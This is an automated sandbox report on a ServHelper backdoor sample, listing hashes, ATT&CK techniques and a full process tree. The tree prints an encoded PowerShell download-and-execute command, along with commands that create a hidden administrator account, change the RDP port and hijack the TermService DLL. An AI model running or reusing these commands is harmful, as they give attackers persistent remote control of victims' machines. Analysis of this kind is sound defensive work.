servhelper | b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80

Analysis

max time kernel
145s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10-04-2024 13:36

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General

Target

b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe
Size

6.7MB
MD5

2b6ad7f446fe56f8bb5438a4784afe78
SHA1

15f5584e569668013548b2f27a417a6482c9317f
SHA256

b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80
SHA512

160537e84ecc2694b514482b95dd70c03abc4580de2cd6f2ae38d332bf4446cbbf9a66676be87a8f4ca25b68be5533342af1d6ebde33577a0aff6a3004800bee
SSDEEP

98304:gOOles66ycm4i+stzTTOzAElMLmZ7oo8kTApKGaRqc4O1XujlqEBLMkqzEoe:Ns6cizZTTLmxoQT7RRq4ujlBBTqz3

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2448 powershell.exe
6 2448 powershell.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

2292 takeown.exe
2364 icacls.exe
2060 icacls.exe
1628 icacls.exe
776 icacls.exe
544 icacls.exe
2112 icacls.exe
1952 icacls.exe

flow	pid	process
5	2448	powershell.exe
6	2448	powershell.exe

pid	process
2292	takeown.exe
2364	icacls.exe
2060	icacls.exe
1628	icacls.exe
776	icacls.exe
544	icacls.exe
2112	icacls.exe
1952	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

1028
1028
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

544 icacls.exe
2112 icacls.exe
1952 icacls.exe
2292 takeown.exe
2364 icacls.exe
2060 icacls.exe
1628 icacls.exe
776 icacls.exe

pid	process
1028
1028

pid	process
544	icacls.exe
2112	icacls.exe
1952	icacls.exe
2292	takeown.exe
2364	icacls.exe
2060	icacls.exe
1628	icacls.exe
776	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

6 raw.githubusercontent.com
4 raw.githubusercontent.com
5 raw.githubusercontent.com
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

flow	ioc
6	raw.githubusercontent.com
4	raw.githubusercontent.com
5	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W9K2TF2WKHERWSJB3B3M.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1076 WMIC.exe

pid	process
1076	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

powershell.exeWMIC.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 7008411f4c8bda01	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2848 reg.exe
Runs net.exe

pid	process
2848	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2648	powershell.exe
2500	powershell.exe
2812	powershell.exe
1776	powershell.exe
2648	powershell.exe
2648	powershell.exe
2648	powershell.exe
2448	powershell.exe

Suspicious behavior: LoadsDriver 6 IoCs

Processes:

pid process

476
1028
1028
1028
1028
1028

pid	process
476
1028
1028
1028
1028
1028

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeRestorePrivilege	2060	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1076	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1076	WMIC.exe
Token: SeAuditPrivilege	1076	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1076	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1076	WMIC.exe
Token: SeAuditPrivilege	1076	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1356	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1356	WMIC.exe
Token: SeAuditPrivilege	1356	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1356	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1356	WMIC.exe
Token: SeAuditPrivilege	1356	WMIC.exe
Token: SeDebugPrivilege	2448	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	process	target process
PID 3000 wrote to memory of 2648	3000	b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe	powershell.exe
PID 3000 wrote to memory of 2648	3000	b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe	powershell.exe
PID 3000 wrote to memory of 2648	3000	b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe	powershell.exe
PID 2648 wrote to memory of 2768	2648	powershell.exe	csc.exe
PID 2648 wrote to memory of 2768	2648	powershell.exe	csc.exe
PID 2648 wrote to memory of 2768	2648	powershell.exe	csc.exe
PID 2768 wrote to memory of 2728	2768	csc.exe	cvtres.exe
PID 2768 wrote to memory of 2728	2768	csc.exe	cvtres.exe
PID 2768 wrote to memory of 2728	2768	csc.exe	cvtres.exe
PID 2648 wrote to memory of 2500	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 2500	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 2500	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 2812	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 2812	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 2812	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 1776	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 1776	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 1776	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 2292	2648	powershell.exe	takeown.exe
PID 2648 wrote to memory of 2292	2648	powershell.exe	takeown.exe
PID 2648 wrote to memory of 2292	2648	powershell.exe	takeown.exe
PID 2648 wrote to memory of 2364	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 2364	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 2364	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 2060	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 2060	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 2060	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 1628	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 1628	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 1628	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 776	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 776	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 776	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 544	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 544	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 544	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 2112	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 2112	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 2112	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 1952	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 1952	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 1952	2648	powershell.exe	icacls.exe
PID 2648 wrote to memory of 1712	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 1712	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 1712	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 2848	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 2848	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 2848	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 2604	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 2604	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 2604	2648	powershell.exe	reg.exe
PID 2648 wrote to memory of 2276	2648	powershell.exe	net.exe
PID 2648 wrote to memory of 2276	2648	powershell.exe	net.exe
PID 2648 wrote to memory of 2276	2648	powershell.exe	net.exe
PID 2276 wrote to memory of 1264	2276	net.exe	net1.exe
PID 2276 wrote to memory of 1264	2276	net.exe	net1.exe
PID 2276 wrote to memory of 1264	2276	net.exe	net1.exe
PID 2648 wrote to memory of 984	2648	powershell.exe	cmd.exe
PID 2648 wrote to memory of 984	2648	powershell.exe	cmd.exe
PID 2648 wrote to memory of 984	2648	powershell.exe	cmd.exe
PID 984 wrote to memory of 2968	984	cmd.exe	cmd.exe
PID 984 wrote to memory of 2968	984	cmd.exe	cmd.exe
PID 984 wrote to memory of 2968	984	cmd.exe	cmd.exe
PID 2968 wrote to memory of 1856	2968	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe
"C:\Users\Admin\AppData\Local\Temp\b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mvx2hmfm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2768
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3DAD.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3DAC.tmp"
      4⤵
      PID:2728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2292
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2364
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2060
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1628
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:776
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:544
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2112
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1952
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1712
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Sets DLL path for service in the registry
    - Modifies registry key
    PID:2848
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2604
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2276
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1264
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:984
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2968
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1856
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2376
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1724
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:944
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:436
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1756
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2912

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Ghasar4f5 /del
1⤵
PID:1392
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Ghasar4f5 /del
  2⤵
  PID:768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del
    3⤵
    PID:2012

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc wugqLn6z /add
1⤵
PID:568
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc wugqLn6z /add
  2⤵
  PID:900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc wugqLn6z /add
    3⤵
    PID:908

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:2384
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1716

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" IZKCKOTP$ /ADD
1⤵
PID:2336
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" IZKCKOTP$ /ADD
  2⤵
  PID:1740
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" IZKCKOTP$ /ADD
    3⤵
    PID:844

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2392
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2832

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc wugqLn6z
1⤵
PID:1752
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc wugqLn6z
  2⤵
  PID:1992
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc wugqLn6z
    3⤵
    PID:2348

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2168
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1076

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1920
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1356

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2584
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES3DAD.tmp

Filesize
1KB

MD5
291a943b58ccf052ee89558f452db5f4

SHA1
5f0ec79e3c629ad68a74f0dfd642a9449c8613be

SHA256
bdc751e08cdc75a79400fdbd838c6640e8f237115695e661e2c4e505c9773b63

SHA512
7d47f31c62e409121df1ff9093d198e24d757f67a01797e15bdcaf17731490c9f986f63ed22fcdcac537a753b4e622666f17a31752a04549c05a72db17b0145a

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

Filesize
2.5MB

MD5
5db5ffa607b5b5ca17bfd6fb78403660

SHA1
1e793958cb1dd1dc99da4a50beaa2945561b7a16

SHA256
1fa24f444e6b18ab2072201a5d9de4df325830990f073194addb5327137c2e89

SHA512
3d2eab2b02c1d7302b563e3cc232791e242c8d2686a0a4cb58115cdd4ca19f48e390791404f62fef2c0fdbe3e5185b260de6a8fd5ccef2e091d473e0186ffe43

Download Submit
C:\Users\Admin\AppData\Local\Temp\mvx2hmfm.dll

Filesize
3KB

MD5
94d4d2c6d8a614e0c8a9af39d295aecf

SHA1
83959eca6265afc72fa96ed30bfcd84a747d8add

SHA256
d3b54ba7d714c76e3b907da232087e6b84e61ae28412f2408d15be3228ba7413

SHA512
a545b59dc42cd424cf781299064321242498fba16007e44e4c31dd35885ddf955ac9e9d4d4be8718a297a94af518df3ba7d059bd2fd1a71fe7af8a028eeb04f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\mvx2hmfm.pdb

Filesize
7KB

MD5
6810d5291ffa432c5286b0d70d82f1e5

SHA1
9f4be386c681dbae750a002f1808d6e1a3c9a871

SHA256
ea6d822235e1d0c43988b574aa6046d755005419f1af8841747363d91002aaa1

SHA512
1964f0fd4db40c1b8e1ae674441cd0dc7ccf287c3ba4d8ff818ebebec02351d627d772f2b067c52350846487a54f2be1af208e2f8be873add76b9c19d5cea586

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
cd45d55cb02bfdb018a9d8ca83945d2d

SHA1
69653240dd801791e8b99a9d9c419950fc0d247f

SHA256
58c1c8cf8ca631b833c3b1eae29e5c80eefb76111c4cf16a7b6c128861ca0a81

SHA512
750c1bbb8afe0f65527adae60d31f725c29b9e3ff33ae2679515a02a289a9fe9baed567ed3ee9d610eb5d32e61fa0e009ea8fc01f0156b6b81ed159d11782ce4

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC3DAC.tmp

Filesize
652B

MD5
8bf5136cebed0dffe27da0e26be18792

SHA1
9dea0af577b93042775a7a461fd9d3f9b885c4c3

SHA256
4722cd19570a78e9f4d02a0d8d99f5c5ccb5e7820e716d4d7f056cd132e3f6d7

SHA512
8bccf67fa90e225c1142ee91018f6c271c3687fbd497a2e29ed8fe51a750685fb3085006b72cb0b9261788be2d4b7f4ecbbd42c9c2d9350888baba64bbb53e2d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mvx2hmfm.0.cs

Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mvx2hmfm.cmdline

Filesize
309B

MD5
8f584858b7edb9e4e7ec8d974c3c5fd9

SHA1
215e6aae71a477c2c18993091d502d8a77973aa2

SHA256
73b56629d4af5fa0b2c7481c0a554fc52d0a813fe831796235b84eda55c0afa4

SHA512
ef68c3af1662fa3d8e6b3407dd0e272bc4357c77894ad1171050e51b74b5ce0e4240d8fccc2c499512911ba5c1191bc2b3a2fbc95bcffff7f15aa96e1ca3061c

Download Submit
\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
96e498a3833f52ae46bcfdc391f73cf7

SHA1
ecaf72b46cf1cb074bde2914963bb1e61450ca95

SHA256
21a0a297e9a2295f7e32aea08ea74c01199cc57d30b8a177fa99c9cc96a6268b

SHA512
9f273a77d434807138c884cc95deb1cadea1ff6db492839d238759a265f3b0ded318b6af59d0743f8dd1555e968afb1eca9ba92a214ecd247480d2a072c08540

Download Submit
\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
2ee3d03bb1f8bd257235fc70e92b17e1

SHA1
c36482b8f8229578dec1cc687aaf53084cb6d05e

SHA256
b7a9b4269995093c63efe64cb65e4562680af2fdf7c4dfdc235f2eb60c469ff0

SHA512
39f8a42a512e4bfbf84ac3c472bf9444a139da23b7007f57aa68dc9ba9db5466b7f155df18c0a49e3073527763ef459180ab1912e53453d312c17718ab67abea

Download Submit
memory/1776-81-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/1776-82-0x000007FEED7A0000-0x000007FEEE13D000-memory.dmp

Filesize
